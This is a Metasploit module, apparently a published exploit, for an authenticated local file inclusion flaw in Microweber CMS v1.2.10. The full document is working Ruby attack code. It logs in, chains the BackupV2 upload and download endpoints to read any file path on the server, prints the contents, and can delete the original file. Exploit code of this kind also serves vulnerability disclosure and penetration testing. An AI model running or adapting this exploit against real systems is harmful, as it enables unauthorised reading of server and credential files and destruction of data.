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# Exploit Title: Microweber CMS v1.2.10 Local File Inclusion (Authenticated)
# Date: 22.02.2022
# Exploit Author: Talha Karakumru <talhakarakumru[at]gmail.com>
# Vendor Homepage: https://microweber.org/
# Software Link: https://github.com/microweber/microweber/archive/refs/tags/v1.2.10.zip
# Version: Microweber CMS v1.2.10
# Tested on: Microweber CMS v1.2.10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microweber CMS v1.2.10 Local File Inclusion (Authenticated)',
'Description' => %q{
Microweber CMS v1.2.10 has a backup functionality. Upload and download endpoints can be combined to read any file from the filesystem.
Upload function may delete the local file if the web service user has access.
},
'License' => MSF_LICENSE,
'Author' => [
'Talha Karakumru <talhakarakumru[at]gmail.com>'
],
'References' => [
['URL', 'https://huntr.dev/bounties/09218d3f-1f6a-48ae-981c-85e86ad5ed8b/']
],
'Notes' => {
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ],
'Stability' => [ OS_RESOURCE_LOSS ]
},
'Targets' => [
[ 'Microweber v1.2.10', {} ]
],
'Privileged' => true,
'DisclosureDate' => '2022-01-30'
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The base path for Microweber', '/']),
OptString.new('USERNAME', [true, 'The admin\'s username for Microweber']),
OptString.new('PASSWORD', [true, 'The admin\'s password for Microweber']),
OptString.new('LOCAL_FILE_PATH', [true, 'The path of the local file.']),
OptBool.new('DEFANGED_MODE', [true, 'Run in defanged mode', true])
]
)
end
def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'login')
})
if res.nil?
fail_with(Failure::Unreachable, 'Microweber CMS cannot be reached.')
end
print_status 'Checking if it\'s Microweber CMS.'
if res.code == 200 && !res.body.include?('Microweber')
print_error 'Microweber CMS has not been detected.'
Exploit::CheckCode::Safe
end
if res.code != 200
fail_with(Failure::Unknown, res.body)
end
print_good 'Microweber CMS has been detected.'
return check_version(res.body)
end
def check_version(res_body)
print_status 'Checking Microweber\'s version.'
begin
major, minor, build = res_body[/Version:\s+(\d+\.\d+\.\d+)/].gsub(/Version:\s+/, '').split('.')
version = Rex::Version.new("#{major}.#{minor}.#{build}")
rescue NoMethodError, TypeError
return Exploit::CheckCode::Safe
end
if version == Rex::Version.new('1.2.10')
print_good 'Microweber version ' + version.to_s
return Exploit::CheckCode::Appears
end
print_error 'Microweber version ' + version.to_s
if version < Rex::Version.new('1.2.10')
print_warning 'The versions that are older than 1.2.10 have not been tested. You can follow the exploitation steps of the official vulnerability report.'
return Exploit::CheckCode::Unknown
end
return Exploit::CheckCode::Safe
end
def try_login
print_status 'Trying to log in.'
res = send_request_cgi({
'method' => 'POST',
'keep_cookies' => true,
'uri' => normalize_uri(target_uri.path, 'api', 'user_login'),
'vars_post' => {
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD'],
'lang' => '',
'where_to' => 'admin_content'
}
})
if res.nil?
fail_with(Failure::Unreachable, 'Log in request failed.')
end
if res.code != 200
fail_with(Failure::Unknown, res.body)
end
json_res = res.get_json_document
if !json_res['error'].nil? && json_res['error'] == 'Wrong username or password.'
fail_with(Failure::BadConfig, 'Wrong username or password.')
end
if !json_res['success'].nil? && json_res['success'] == 'You are logged in'
print_good 'You are logged in.'
return
end
fail_with(Failure::Unknown, 'An unknown error occurred.')
end
def try_upload
print_status 'Uploading ' + datastore['LOCAL_FILE_PATH'] + ' to the backup folder.'
referer = ''
if !datastore['VHOST'].nil? && !datastore['VHOST'].empty?
referer = "http#{datastore['SSL'] ? 's' : ''}://#{datastore['VHOST']}/"
else
referer = full_uri
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'BackupV2', 'upload'),
'vars_get' => {
'src' => datastore['LOCAL_FILE_PATH']
},
'headers' => {
'Referer' => referer
}
})
if res.nil?
fail_with(Failure::Unreachable, 'Upload request failed.')
end
if res.code != 200
fail_with(Failure::Unknown, res.body)
end
if res.headers['Content-Type'] == 'application/json'
json_res = res.get_json_document
if json_res['success']
print_good json_res['success']
return
end
fail_with(Failure::Unknown, res.body)
end
fail_with(Failure::BadConfig, 'Either the file cannot be read or the file does not exist.')
end
def try_download
filename = datastore['LOCAL_FILE_PATH'].include?('\\') ? datastore['LOCAL_FILE_PATH'].split('\\')[-1] : datastore['LOCAL_FILE_PATH'].split('/')[-1]
print_status 'Downloading ' + filename + ' from the backup folder.'
referer = ''
if !datastore['VHOST'].nil? && !datastore['VHOST'].empty?
referer = "http#{datastore['SSL'] ? 's' : ''}://#{datastore['VHOST']}/"
else
referer = full_uri
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api', 'BackupV2', 'download'),
'vars_get' => {
'filename' => filename
},
'headers' => {
'Referer' => referer
}
})
if res.nil?
fail_with(Failure::Unreachable, 'Download request failed.')
end
if res.code != 200
fail_with(Failure::Unknown, res.body)
end
if res.headers['Content-Type'] == 'application/json'
json_res = res.get_json_document
if json_res['error']
fail_with(Failure::Unknown, json_res['error'])
return
end
end
print_status res.body
end
def run
if datastore['DEFANGED_MODE']
warning = <<~EOF
Triggering this vulnerability may delete the local file if the web service user has the permission.
If you want to continue, disable the DEFANGED_MODE.
=> set DEFANGED_MODE false
EOF
fail_with(Failure::BadConfig, warning)
end
try_login
try_upload
try_download
end
end
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